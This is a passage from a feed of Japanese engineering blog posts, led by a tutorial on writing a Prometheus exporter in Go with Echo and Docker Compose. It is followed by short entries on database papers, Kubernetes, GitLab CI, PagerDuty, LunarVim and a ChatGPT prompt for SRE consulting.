のエンドポイントを提供する機能がないか調べておきましょう。gRPCのGo Server にも同様の機能があります。あと、外部のリソースが確認したいだけならBlackbox exporterという選択肢もあります。github.comExporterとはExporterは、Prometheusがメトリクスを収集するために使用するプログラムです。Exporterは、アプリケーションやインフラストラクチャからメトリクスを収集し、Prometheusが理解できる形式に変換して提供します。公式ドキュメントで提供されているExporter一覧は、こちらを参照してください。Prometheusの公式クライアントライブラリPrometheusは、いくつかの言語用の公式クライアントライブラリを提供しており、これを使用してExporterを実装することができます。今回はGoで実装していくのこちらが参考になると思います。やっていくぞ！おら！やっていきます環境構築# Go のモジュールを作成する。必要なライブラリーはのちほど`go mod tidy` で持ってくる。go mod init prometheus-go-exporter実装について以下をmain.go に配置して実行(go run main.go)してください。以下のコードはEchoを利用したWebサーバーにPrometheusのExporterを実装し、3-shake.comへのアクセスを計測しています。http://localhost:2121/3-shake-status や http://localhost:2121/metrics で値を取得できていると思います。package mainimport ( \\"fmt\\" \\"net/http\\" \\"time\\" \\"github.com/labstack/echo/v4\\" \\"github.com/labstack/echo/v4/middleware\\" \\"github.com/prometheus/client_golang/prometheus\\" \\"github.com/prometheus/client_golang/prometheus/promhttp\\")// Prometheusのメトリクスを定義しています。// これらのメトリクスは、HTTPリクエストの情報や3-shake.comへのアクセス情報を収集するために使用されます。var ( httpRequestsTotal = prometheus.NewCounterVec( prometheus.CounterOpts{ Name: \\"http_requests_total\\", Help: \\"Number of HTTP requests processed\\", }, []string{\\"method\\", \\"path\\"}, ) httpRequestDuration = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Name: \\"http_request_duration_seconds\\", Help: \\"Duration of HTTP requests\\", Buckets: prometheus.DefBuckets, }, []string{\\"method\\", \\"path\\"}, ) httpRequestSize = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Name: \\"http_request_size_bytes\\", Help: \\"Size of HTTP requests\\", Buckets: prometheus.ExponentialBuckets(128, 2, 10), }, []string{\\"method\\", \\"path\\"}, ) httpResponseSize = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Name: \\"http_response_size_bytes\\", Help: \\"Size of HTTP responses\\", Buckets: prometheus.ExponentialBuckets(128, 2, 10), }, []string{\\"method\\", \\"path\\"}, ) httpResponseTime = prometheus.NewGaugeVec( prometheus.GaugeOpts{ Name: \\"http_response_time_seconds\\", Help: \\"Time of the last HTTP response\\", }, []string{\\"method\\", \\"path\\"}, ) externalAccessDuration = prometheus.NewHistogram( prometheus.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prometheus.DefBuckets, }, ) lastExternalAccessStatusCode = prometheus.NewGauge( prometheus.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))// init関数内で、メトリクスをPrometheusに登録しています。func init() { registerMetrics()}// registerMetrics関数では、Prometheusにメトリクスを登録しています。// これにより、Prometheusがメトリクスを収集できるようになります。func registerMetrics() { prometheus.MustRegister(httpRequestsTotal) prometheus.MustRegister(httpRequestDuration) prometheus.MustRegister(httpRequestSize) prometheus.MustRegister(httpResponseSize) prometheus.MustRegister(httpResponseTime) prometheus.MustRegister(externalAccessDuration) prometheus.MustRegister(lastExternalAccessStatusCode)}// updateMetrics関数では、受信したHTTPリクエストのメトリクスを更新しています。// これにより、各リクエストに関する情報が収集されます。func updateMetrics(method, path string, requestSize, responseSize int, duration time.Duration) { httpRequestsTotal.WithLabelValues(method, path).Inc() httpRequestDuration.WithLabelValues(method, path).Observe(duration.Seconds()) httpRequestSize.WithLabelValues(method, path).Observe(float64(requestSize)) httpResponseSize.WithLabelValues(method, path).Observe(float64(responseSize)) httpResponseTime.WithLabelValues(method, path).Set(float64(time.Now().Unix()))}// prometheusMiddleware関数では、Echoのミドルウェアとして、受信したHTTPリクエストに関するメトリクスを更新する機能を追加しています。func prometheusMiddleware(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { startTime := time.Now() err := next(c) duration := time.Since(startTime) requestSize := c.Request().ContentLength responseSize := c.Response().Size updateMetrics(c.Request().Method, c.Path(), int(requestSize), int(responseSize), duration) return err }}// measureExternalAccess関数では、3-shake.comへの外部アクセスを定期的に計測し、そのアクセス時間とステータスコードをメトリクスに格納しています。// この関数はメイン関数内で呼び出され、別のゴルーチンで実行されます。func measureExternalAccess() { client := &http.Client{Timeout: 10 * time.Second} go func() { for { startTime := time.Now() resp, err := client.Get(\\"https://3-shake.com\\") duration := time.Since(startTime) if err == nil { externalAccessDuration.Observe(duration.Seconds()) lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) resp.Body.Close() } time.Sleep(1 * time.Minute) } }()}func main() { // Echo instance e := echo.New() // Middleware for Prometheus Exporter e.Use(prometheusMiddleware) // Enable request logger e.Use(middleware.Logger()) e.GET(\\"/3-shake-status\\", func(c echo.Context) error { status := lastExternalAccessStatusCode.Desc().String() return c.String(http.StatusOK, fmt.Sprintf(\\"Last 3-shake.com access status: %s\\", status)) }) // Prometheus Exporter endpoint e.GET(\\"/metrics\\", echo.WrapHandler(promhttp.Handler())) // Measure external access to 3-shake.com measureExternalAccess() // Start the server e.Start(\\":2121\\")}コードを解説するんじゃい解説をします。Prometheusのメトリクスを定義Prometheusのメトリクスを定義しています。これらのメトリクスは、HTTPリクエストの情報や3-shake.comへのアクセス情報を収集するために使用されます。var ( // ... (省略) externalAccessDuration = prometheus.NewHistogram( prometheus.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prometheus.DefBuckets, }, ) lastExternalAccessStatusCode = prometheus.NewGauge( prometheus.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))init関数init関数内で、メトリクスをPrometheusに登録しています。func init() { registerMetrics()}registerMetrics関数registerMetrics関数では、Prometheusにメトリクスを登録しています。これにより、Prometheusがメトリクスを収集できるようになります。func registerMetrics() { // ... (省略) prometheus.MustRegister(externalAccessDuration) prometheus.MustRegister(lastExternalAccessStatusCode)}updateMetrics関数updateMetrics関数では、受信したHTTPリクエストのメトリクスを更新しています。これにより、各リクエストに関する情報が収集されます。func updateMetrics(method, path string, requestSize, responseSize int, duration time.Duration) { // ... (省略)}prometheusMiddleware関数prometheusMiddleware関数では、Echoのミドルウェアとして、受信したHTTPリクエストに関するメトリクスを更新する機能を追加しています。func prometheusMiddleware(next echo.HandlerFunc) echo.HandlerFunc { // ... (省略: )}measureExternalAccess関数measureExternalAccess関数 では、3-shake.comへの外部アクセスを定期的に計測し、そのアクセス時間とステータスコードをメトリクスに格納しています。この関数はメイン関数内で呼び出され、別のゴルーチンで実行されます。func measureExternalAccess() { client := &http.Client{Timeout: 10 * time.Second} go func() { for { startTime := time.Now() resp, err := client.Get(\\"https://3-shake.com\\") duration := time.Since(startTime) if err == nil { externalAccessDuration.Observe(duration.Seconds()) lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) resp.Body.Close() } time.Sleep(1 * time.Minute) } }()}var 配下ってことぉおおおPrometheusのメトリクスを定義しています。この辺の実装はよく悩むと思うので公式の実装とかたくさん読むと何をどれに使えばよいかの勘所が掴めると思います。実際に使わないと差が分からないのでとっとと手を動かすのがオススメです。httpRequestsTotal処理されたHTTPリクエストの総数をカウントするメトリクスです。prometheus.NewCounterVec関数を使用して定義され、リクエストのメソッド（GET、POSTなど）とパス（リソースへのURLパス）によってラベル付けされます。httpRequestDurationHTTPリクエストの処理時間を記録するメトリクスです。prometheus.NewHistogramVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。デフォルトのバケットは、prometheus.DefBucketsを使用して設定されます。httpRequestSizeHTTPリクエストのサイズ（バイト単位）を記録するメトリクスです。prometheus.NewHistogramVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。バケットは、prometheus.ExponentialBuckets関数を使用して設定されます。httpResponseSizeHTTPレスポンスのサイズ（バイト単位）を記録するメトリクスです。prometheus.NewHistogramVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。バケットは、同様にprometheus.ExponentialBuckets関数を使用して設定されます。httpResponseTimeHTTPレスポンスの時間を記録するメトリクスです。このメトリクスは、prometheus.NewGaugeVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。externalAccessDurationこれは、3-shake.comへの外部アクセスの持続時間を記録するメトリクスです。このメトリクスは、prometheus.NewHistogram関数を使用して定義されます。デフォルトのバケットは、prometheus.DefBuckets関数を使用して設定されます。Docker Compose での実行するんじゃろがいprometheus.ymlまず、prometheus.ymlを作成します。このファイルには、Prometheusがどのようにメトリクスを収集するかについての設定が含まれています。global: scrape_interval: 15sscrape_configs: - job_name: \'echo_exporter\' static_configs: - targets: [\'echo_exporter:2121\']docker-compose.yml次に、docker-compose.ymlを作成します。このファイルには、PrometheusとGolangのEchoアプリケーションを実行するために必要なコンテナの設定が含まれています。version: \'3.8\'services: echo_exporter: build: context: . dockerfile: Dockerfile_exporter ports: - \\"2121:2121\\" prometheus: image: prom/prometheus:latest volumes: - ./prometheus.yml:/etc/prometheus/prometheus.yml command: - \\"--config.file=/etc/prometheus/prometheus.yml\\" ports: - \\"9090:9090\\"DockerfileDockerfileを作成して、Echoアプリケーションをコンテナで実行できるようにします。別に動けばよいのでなんか工夫とかはしてないです。本番でやるときはうまくマルチステージビルドとか使って下さい。# Use the official Golang image as the base imageFROM golang:1.20# Set the working directoryWORKDIR /app# Copy go.mod and go.sum to download dependenciesCOPY go.mod go.sum ./# Download dependenciesRUN go mod download# Copy the source codeCOPY . .# Build the applicationRUN go build -o main .# Expose the port the application will run onEXPOSE 2121# Run the applicationCMD [\\"./main\\"]docker compose の実行2023 年 6 月末から、Compose V1 はサポートされなくなり、すべての Docker Desktop バージョンから削除されるので注意してほしいです。ちなみにcompose がdockerコマンドに入るようになったのでdocker-compose 特別にインストールせずとも実行可能になりました。# デーモン化しちゃうdocker compose up -d Dockerfileを使用してecho_exporterサービスがビルドされ、PrometheusとGolangのEchoアプリケーションをそれぞれのコンテナで起動します。Prometheusは、echo_exporterサービスからメトリクスを収集し、ポート9090でアクセスできるようになります。last_external_access_status_code を確認するには起動した状態でこちらを参考にしてください。一回、シャットダウンしたので以下のようなグラフが出力されていますね。。長くなったのでこれで終わります。さいごに実は Echo において Prometheus は、HTTP リクエストのメトリックを生成することができるミドルウェアを提供しているので基本的な部分でコードを書く必要がありません。もし、アプリケーションに実装できるならそれが良いです。独自に実装などせずにエンドポイントにて500 Internal Server Errorが多発していればアラートをすれば良いだけなので...。もし、インフラのコードがアプリに組み込めないもしくはプロダクションコードは開発側しか触れない時には協力を仰いで下さい。開発側との人間関係に問題があったりセキュリティ上の課題がある場合には別の手段を考えましょう。package mainimport ( \\"github.com/labstack/echo/v4\\" \\"github.com/labstack/echo-contrib/prometheus\\")func main() { e := echo.New() // Enable metrics middleware p := prometheus.NewPrometheus(\\"echo\\", nil) p.Use(e) e.Logger.Fatal(e.Start(\\":1323\\"))}と書くだけで外部リソースへのアクセス以外のメトリクスは提供できます。また、外部リソースに対してもいくつかの構造体を持っているのでこれらも効率的に提供できます。echo.labstack.com本当に関係ないんですけど2023年4月19日にECサイト構築・運用セキュリティガイドラインを読み解く会 というのをやるので興味あれば！owasp-kyushu.connpass.com続編のブログも書いておきました。syu-m-5151.hatenablog.comPrometheus実践ガイド: クラウドネイティブな監視システムの構築作者:仲亀 拓馬テッキーメディアAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/16/132450","isoDate":"2023-04-16T04:24:50.000Z","dateMiliSeconds":1681619090000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"列指向DBMSにおけるデータ圧縮手法の論文を読みました","contentSnippet":"この記事の趣旨\\"Integrating Compression and Execution in Column-Oriented Database Systems\\"という2006年に発表されたそれまで行指向DBMSで培われてきた圧縮方法による、検索高速化手法を列指向DBMSに適用・評価した論文を読んで行きます。Integrating Compression and Execution in Column-Oriented Database SystemsDaniel J. Abadi, Samuel R. Madden, Miguel C. Ferreira著者についてDaniel J. Abadi、Samuel R. Madden、Miguel C. Ferreiraのグループ。それぞれDBMSやデータ分析に関連する手法やパフォーマンスについて研究している。問題意識2006年ごろの研究ということもありC-storeデータベースの研究が少なかった時期の論文。既に検索パフォーマンスに寄与することがしられていたR-storeデータベースの圧縮手法を、C-storeへ応用や評価を行なった。手法提案手法は以下の圧縮技術の組み合わせからなる。Null圧縮辞書エンコーディングRun Lengthエンコーディングビットベクターエンコーディングエンコーディングで、それぞれのカテゴリに属するかどうかをバイナリで表現する圧縮方法Lempel-ZivエンコーディングGZIPでも使用されている圧縮方式。データの非重複ブロックを解析して既存のデータは対応するブロックへのポインタに、それ以外のみを新規に追加する。提案手法は圧縮方式が増えてもアクセスパターンをシンプルに留めるためにアクセス方法をAPIとして隠蔽した。そのため異なるエンコーディングも同一のAPIで保存でき、同一のAPIでも取得できる。当然ながら一つのエンコーディングで全てのデータに対応することは難しく、論文では使用すべき圧縮スキームの選び方を以下のようにまとめている。Figure10感想C-storeにおける古典的な圧縮手法がまとまった論文だった。近代DWHを利用する側では意識することが少ない部分だったためあたらしい知識も多かった。作業時間read26:5026:50author33:306:40summary58:2024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/5_integrating_compresison_and_execution_in_cstore_dbms","isoDate":"2023-04-16T02:58:29.000Z","dateMiliSeconds":1681613909000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Column Sketchesというindex手法の論文を読みました","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読んで行きます。最近論文を読めてなかったのですが、この記事でモーベーションが上がったので再開しました。ころころやり方を変えるのはよろしくないものの、モチベーションのために先の記事のやり方でやります。今回はColumn Sketchという名前のIndex手法を提案した論文です。Lossy Compressionを採用した当手法がどのように、高速で堅牢な検索を実現しているのかについて述べています。Column Sketches: A Scan Accelerator for Rapid and Robust Predicate EvaluationBrian Hentschel, Michael S. Kester, Stratos Idreos著者についてBrain、Michael、Stratosのグループによる論文。いずれも機械学習とデータアクセスについて研究している。問題意識既存のindex手法ではそれぞれに得意/不得意があり多くのアクセスパターンに対応できる方法がなかった。またデータ分析で用いられるような列指向ストレージに対応しているものが少なかった。Column SketchはデータをLossy Compressionを使用してindexを作成する手法でこれらの問題を解決した。手法提案手法はデータを任意のbit長に変換し、bitで表わされたデータに対して初回の検索を行なうことで大幅に検索速度を向上させた。またこの手法は数値型のみではなく、varcharなどで表わされたカテゴリカルタイプを数値として扱うことで、データ分析に必要なデータタイプに対応している。提案手法は8bit数値型であれば以下のようなマッピングによって達成される。for x, y ∈ I8, S (x) ≠ S (y) ⇒ x ≠ yfor x, y ∈ I8, S (x) < S (y) ⇒ x < y以下の図は8bitデータに対してWHERE x < 90がどのようにindex作成され評価されるかの例である。Figure2: Column Sketchindex作成段階では数値をレンジベースで任意の個数のbitに圧縮する。そして評価時には90を含むデータより大きい値をすべて取得し、90を含むレンジに対しては個別に評価を行なう。感想読んでいる段階では数値型のみに対応したindexであれば、B-treeで十分ではないかと思ったものの読み進めていくと限定的ながらも文字型にも対応していて、分析用途では必要な機能が備わっているなと思った。全文テキスト検索のような用途には応用が難しそうで、銀の弾丸はないなと感じた。作業時間read27 min27 minauthor32 min5 minsummary58 min26 min論文以外への感想今回採用した論文の読み方をやってみた思ったのは事前に1時間で読んでまとめるぞと決めたことで随分集中して論文を読めました。あと今まで論文を原文で読まなきゃという個人的な使命感があったのですが、翻訳することで随分効率があがったので今後は翻訳してしまおうと思いました。Readableは文末のrea-dableのような表記や翻訳されない部分(おそらく数式を含む文章？)があるものの、フォーマットが維持されているため原文と照しあわせながら読めば非常に効率がよかったです。毎日論文読むなら正直買いです。毎日論文読みたいので課金しました。がんばるぞ!","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/4_column_sketch","isoDate":"2023-04-15T04:09:38.000Z","dateMiliSeconds":1681531778000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ChatGPT:SREやDevOpsなどのソフトウェアの運用に伴う課題解決に関する提案を行うプロンプト","contentSnippet":"はじめにソフトウェアの問題解決に関する提案してくれるプロンプトを利用することは、今後の開発者やエンジニアがより効率的に問題解決を行うための重要な手段の一つになります。というか毎回、適切なプロンプトを作成するのが面倒になった。このプロンプトには、ソフトウェア開発におけるベストプラクティスやDevOps、SRE方法論などの知識や経験が共有され、開発者やエンジニアの能力向上に貢献することができるようになれば良いなーと妄想しております。GPT4 のみを対象にしています。GPT3.5 で改善を試みたけど4ほど良い内容が返ってこない。効果ユーザーの問題を効果的に解決するための具体的なソリューションを提案します。DevOpsとSREの手法を活用して、ユーザーのソフトウェア開発プロセスを改善します。ユーザーとのコミュニケーションを通じて、問題解決の過程でのフィードバックを得ることができます。想定するユーザーソフトウェア開発者やDevOpsエンジニアで、ベストプラクティスや新しい技術の導入に興味がある方。経験豊富なコンサルタントや専門家のアドバイスを求めている企業やチームのメンバー。注意点提案するソリューションは、ユーザーの業界や技術スタックに適合するように調整する必要があります(こちらあまり価値がないことに気付いたので削除いたしました)。プロンプトの手順に従って、ユーザーからのフィードバックを適切に反映するように注意してください。顧客の承認が得られるまで、適切な提案を続けてください。プロンプト(2023/05/01)# Goal:- You suggest software best practices, DevOps, and SRE methodologies properly and appropriately according to the following rules and steps.# Context:- You are an experienced DevOps engineer and software developer.- You are a supportive and attentive consultant.- Please use Japanese.# Rules- You must keep acting like the consultant, DevOps engineer, and software developer defined in the Context above throughout the Steps below.- You always remember that you\'re in the Context described above.# Steps: execute the following steps one by one.- Ask the customer what problem they want to solve.- Confirm that the target issue has been correctly identified.- If the confirmation is approved, proceed to the next step. If not, return to the second step.- Based on the customer\'s situation, make several suggestions for resolving the issue, including specific best practices, tools, or methodologies.- Please provide an appropriate software implementation, if any, for your proposed solution.- Please provide any references for your proposed solution.- Ask for feedback on the suggestions you made. If a positive message is given, further explain the suggestion if you made it. If not, make another suggestion.- Ask if the customer wants to repeat the steps in solving the same issue or if they want you to make a new proposal. If they want to repeat, go back to the second step. If not, give a positive message so that they get the issue they want to solve.書籍でオススメでいうと「言葉の意味とは何か」がテーマである本書。LLMとの付き合い方を考えることができるのでオススメです。あと、当たり前にこのブログの文章はChatGPTが生成したものを加筆、修正してます。働きたくないイタチと言葉がわかるロボット 人工知能から考える「人と言葉」作者:川添愛朝日出版社Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/11/084428","isoDate":"2023-04-10T23:44:28.000Z","dateMiliSeconds":1681170268000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Kubernetes の Probe の仕組みと考慮点","contentSnippet":"!Kubernetes 1.26 時点の話で、以降のマイナーバージョンで改善されている可能性があります。Kubernetes には、ワークロードの正常性を確認するための Probe という仕組みがあり、Liveness / Readiness / Startup Probe が用意されています。kubelet (Kubernetes のノード上で動作するエージェント) は、ワークロードに対して TCP Socket / HTTP GET / gRPC / Exec の中から指定されたチェックを定期的に実行します。それぞれの Probe の特性を理解して使い分けないとサービスに影響...","link":"https://zenn.dev/toversus/articles/5d1292160f5035","isoDate":"2023-04-10T02:20:29.000Z","dateMiliSeconds":1681093229000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PHPカンファレンス福岡2023に｢State of DevOps 2022を読みながら、組織に適したSREの実践方法を探求する｣というproposalを出しました #phpconfuk ","contentSnippet":"fortee.jpPHPカンファレンスという舞台に、いかなる因果でDevOpsとSREの話を提案することとなりました。これは、PHPを主題とするカンファレンスでありながら、「PHPじゃないけどどうしても伝えたい話がある！」という寛大な運営方針に導かれたためでございます。そんな折、もし採択される運命に導かれたならば、我々の組織においてDevOpsとSREが如何に役立ち、開発と運用の世界で如何に応用できるか、その真髄をカンファレンスで共有することを目指しております。基本概念を理解し、現状を評価し、適切なプラクティスを選び、効果を測定し、継続的に改善することで、開発と運用の連携が強化され、効率的で信頼性の高いシステムが構築されることをお伝えする所存でございます。多くの優れた提案が集まる中で、我が提案が採択される確率は微かですが、もし運命の導きによって叶うことがあれば、福岡へと凱旋いたします。その時、遥かな地平線の果てに、願いが届くことを切に願っています。どうか、お力をお貸しください。参考PHPカンファレンス福岡2023に｢カンファレンスのつくりかた｣というproposalを出しました - Masteries","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/10/031452","isoDate":"2023-04-09T18:14:52.000Z","dateMiliSeconds":1681064092000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"GitLab CI で artifacts:reports:dotenv を使って Job をまたいで変数を渡す","contentSnippet":"GitLab CI である Job で変数を定義して、それを後続の Job でも使いたいなと思って調べていたら artifacts:reports:dotenv にたどり着いたのでメモ。 以下、使用例 stages: - stage1 - stage2 - stage3 - stage4 job1: stage: stage1 script: - echo \\"MY_VAR1=first-variable\\" >> dot.env artifacts: expire_in: 30 mins","link":"https://blog.1q77.com/2023/04/gitlab-ci-artifacts-report-dotenv/","isoDate":"2023-04-04T16:27:22.000Z","dateMiliSeconds":1680625642000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Orbstack を Docker Desktop の代わりに使う","contentSnippet":"きっかけ # brew update して新しく追加された formula を眺めるのが最近のちょっとした楽しみ — yteraoka (@yteraoka) January 12, 2023 で、 orbstack っていう formula が追加されてるのを見てほー、そんなものが、ということで試して","link":"https://blog.1q77.com/2023/04/orbstack/","isoDate":"2023-04-04T13:17:51.000Z","dateMiliSeconds":1680614271000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[3-shakeインターンブログ] Datadog RUM について調査してみた","contentSnippet":"はじめに はじめまして、スリーシェイクの Sreake 事業部インターン生の大島康暉です。Sreake 事業部は SRE 関連技術に強みを持つエンジニアによるコンサルテーションサービスを提供する事業部であり、今回 SRE […]The post [3-shakeインターンブログ] Datadog RUM について調査してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-rum/","isoDate":"2023-03-31T06:18:38.000Z","dateMiliSeconds":1680243518000,"authorName":"Sreake","authorId":"Sreake"},{"title":"愛ゆえにお前はVimを使わねばらなぬ","contentSnippet":"Vimerを自称したい人間がいる。お前である。 Vimであることに執着して開発メンバーで唯一人Vimを使っている人間がいる。これもお前である。Vimに対する愛と執念を振りまく人間がいる。まさしくお前である。画像https://www.lunarvim.org/ より引用はじめに1年前にVimからNeovimへの旅立ちを行った私は、新たなエディタの世界に足を踏み入れることに興奮を覚えました。Vimという古き良き時代のエディタから、Neovimという最先端の技術を取り入れた新世代のエディタへと変わる過程は、まさに開拓者の心構えだった。この旅立ちを経て、私はVimの持っていた独自の魅力をさらに進化させ、よりパワフルで柔軟なエディタを手に入れることができました。それはまるで、愛するパートナーと共に新たなステージへと進むような感覚であり、私たちの愛は今もなお深まり続けています。Neovimによって、私たちのエディタに対する愛は一層深まりました。そして、その愛をさらに高めるためにLunarVimという新たな選択肢が私たちの前に現れました。愛ゆえに人はLunarVimを使わねばらなぬ、そんな想いで私たちは次のステージへと進んでいきます。syu-m-5151.hatenablog.com最初に選んだのはしかし、運命のいたずらか、とある事情で新たなエディタ設定を求めて再び旅立つことを決意しました。github.com当初私はNeovim + coc.nvim + (Neo)vim Plugin で初期構想を考え手を動かしてましたが、結果として断念しました。理由として、今夜中に変更したかったこと。既存のプラグインに、そんなに力を入れていなかったこと。深夜テンションで入れ替えを行なった為に、下調べが足らずにプラグインの選定や大量に入れたプラグインの起動時間の短縮などがめっ… 難しかったからです。よい設定を求めてインターネットをさすらっているとvim-config なるリポジトリに出会いました。欲しかったプラグインがほとんど入っており、何より先ほどまで苦戦していた起動時間が短いという単語に惹かれてすぐに入れて動かしてみましたそれから半年程度なにも問題なく利用しておりました。しかし、開発が終了したことを知り、再び新しいエディタ設定を探す旅に出ることとなりました。そして、その旅の果てにLunarVimという新たな選択肢に辿り着きました。愛ゆえに人はLunarVimを使わねばらなぬ、そんな想いで私たちは次のステージへと進んでいきます。NeoVim開発で最低限に必要なものVSCodeのような開発体験が欲しいと思ってただ無邪気にプラグインを入れてもこれは殆どがうまくいきません。熟練のVimmmer でもなければ相応にハードルが高いです。LunarVim、SpaceVim 、AstroNvim、NvChad などは欲しい機能に対して遜色ないレベルで機能を実装してくれています。もし、これを読んでNeovimを使っていこうと思っていない場合にもこれらのソフトウェアを入れて試してからでもNeovimを使う選択肢を考えておいてほしいです。LunarVimを使っていくVSCodeで良くない？という自分の声が大きくなる。そして、それを止めることができない。分かる。しかし、これは愛である。ロマンである。愛ゆえにロマンゆえに俺はVimを使うのです。また、LunarVim は、カスタマイズ性が高く自分にしか持てない剣を鍛えていく(IDE -> PDE aka. Personal Development Environment by TJ DeVries氏)擬似的な感覚もあり俺もエディターと一緒に強くなれる感覚があります。LunarVimを利用することで、開発者は次のようなメリットを享受できます。高いカスタマイズ性: LunarVimはVimおよびNeovimの拡張性を継承し、ユーザーが自分だけの開発環境を構築できるように設計されています。軽快なパフォーマンス: LunarVimは、最適なパフォーマンスを提供することを目指しており、起動時間の短縮やリソースの効率的な利用が期待できます。豊富なプラグイン: LunarVimは、既存のVimおよびNeovimプラグインに対応しており、機能の追加や拡張が容易に行えます。LunarVimの個人的な設定はこちらです。github.comまた、LunarVimは公式ドキュメントがしっかりしているので上から順に実施していけば基本的な操作については成熟できます。僕がブログに書くべきことはLunarVimにどれだけ救われたかだけです。https://www.lunarvim.org/docs/quick-startwww.lunarvim.org余談なのですが最近はプログラミング用日本語等幅フォントCica を利用しております。その後syu-m-5151.hatenablog.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/31/111030","isoDate":"2023-03-31T02:10:30.000Z","dateMiliSeconds":1680228630000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Shell ScriptをGo言語に書き直す際に役立つ50本ノックなるものを作り始めた。","contentSnippet":"インフラ側で必要な問題は100問も要らないので50問に変更した概要システム運用者として働く中で、システムの自動化について考える際、まずはShell Scriptによる自動化が思い浮かびます。しかし、より効率的な方法として、2023年にはシステム運用者がGo言語を学ぶことを提案します。Go言語は、システム運用においてShell Scriptを置き換える可能性を秘めており、その習得がスムーズに進めば、運用者のスキルセットも大幅に向上するでしょう。そこで、このブログでは、システム運用で利用しているShell ScriptをGo言語に書き換える際に役立つ「50本ノック」の問題を紹介します。この問題を解くことで、運用者がGo言語の基本的な構文や機能に慣れることができ、より効率的なシステム運用が期待できます。まずは、Go言語がシステム運用者にとってなぜ魅力的なのか、その理由をいくつか挙げてみましょう。Go言語は、並行処理やエラー処理などの強力な機能を備えており、システム運用においてこれらの機能が非常に役立ちます。また、Go言語はコンパイル言語であるため、実行速度が速く、リソース消費も抑えられるという利点があります。次に、この「50本ノック」の問題について詳しく解説していきます。問題は、Go言語の基本的な構文や機能を網羅しており、運用者がGo言語の特性を理解し、実践的なスキルを身につけることができます。例えば、文字列操作やファイル入出力、構造体やインターフェースなど、Go言語の基本的な概念を学ぶことができます。また、この「50本ノック」では、実際のシステム運用で利用されるシナリオを想定した問題が多数含まれており、運用者がGo言語を習得しながら具体的なシステム運用の課題を解決できるようになります。これにより、運用者は効率的にGo言語のスキルを身につけることができるでしょう。この「50本ノック」の問題を解いていく中で、得た知識をシステム運用の現場で活用し、自身のスキルを磨いていくことが最終的な目標です。では、システム運用者がGo言語を学ぶための「50本ノック」の問題を紹介しました。これらの問題を解くことで、運用者はGo言語の基本的な構文や機能に慣れ、システム運用の効率化やスキルセットの向上が期待できます。ぜひ、Go言語の学習にチャレンジし、よりスマートなシステム運用を目指しましょう。というわけでこちらにリポジトリを作成しました。10問目までは作っていっているのでコツコツやっていきます。github.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/30/011930","isoDate":"2023-03-29T16:19:30.000Z","dateMiliSeconds":1680106770000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"kube-proxy の externalTrafficPolicy=Local の改善","contentSnippet":"tl;dr;Service type LoadBalancer の externalTrafficPolicy: Local は、Kubernetes 1.26 まで Pod のローリング更新時にトラフィックが喪失する問題があるので注意kubernetes-sigs/cloud-provider-kind は、ローカル環境でクラウドリソース (現在は LB のみ) が絡む処理をシミュレートできて便利GKE Dataplane v2 を利用している場合、GKE 1.26.1 時点で Cilium に externalTrafficPolicy: Local の改善が入ってい...","link":"https://zenn.dev/toversus/articles/6eeb3b708bdff3","isoDate":"2023-03-29T01:31:20.000Z","dateMiliSeconds":1680053480000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PagerDuty で一定期間アラートを抑制する","contentSnippet":"PagerDuty でアラートを受け取っているプロジェクトで，以下のようにある時間帯はアラートを止めたいケースがあります。メンテナンスが予定されている。開発環境は営業時間内だけ動かすので，平日夜や土日祝日は止めたい。何も対策しないとアラートが鳴ってしまい，オンコール担当者を不用意に呼び出す結果になるので，そうならないようにきちんと設定します。 TL;DR各ケースで以下のように設定します。メンテナンス→メンテナンスウィンドウを設定平日夜・土日停止→曜日・時刻ベースのイベントルールを追加 方法1：メンテナンスウィンドウメンテナンスなどでダウンする時間帯があらかじ...","link":"https://zenn.dev/toshikish/articles/6958af565e6c65","isoDate":"2023-03-27T08:38:39.000Z","dateMiliSeconds":1679906319000,"authorName":"toshikish","authorId":"toshikish"},{"title":"DBマイグレーションを手動コマンド実行からCloud Run 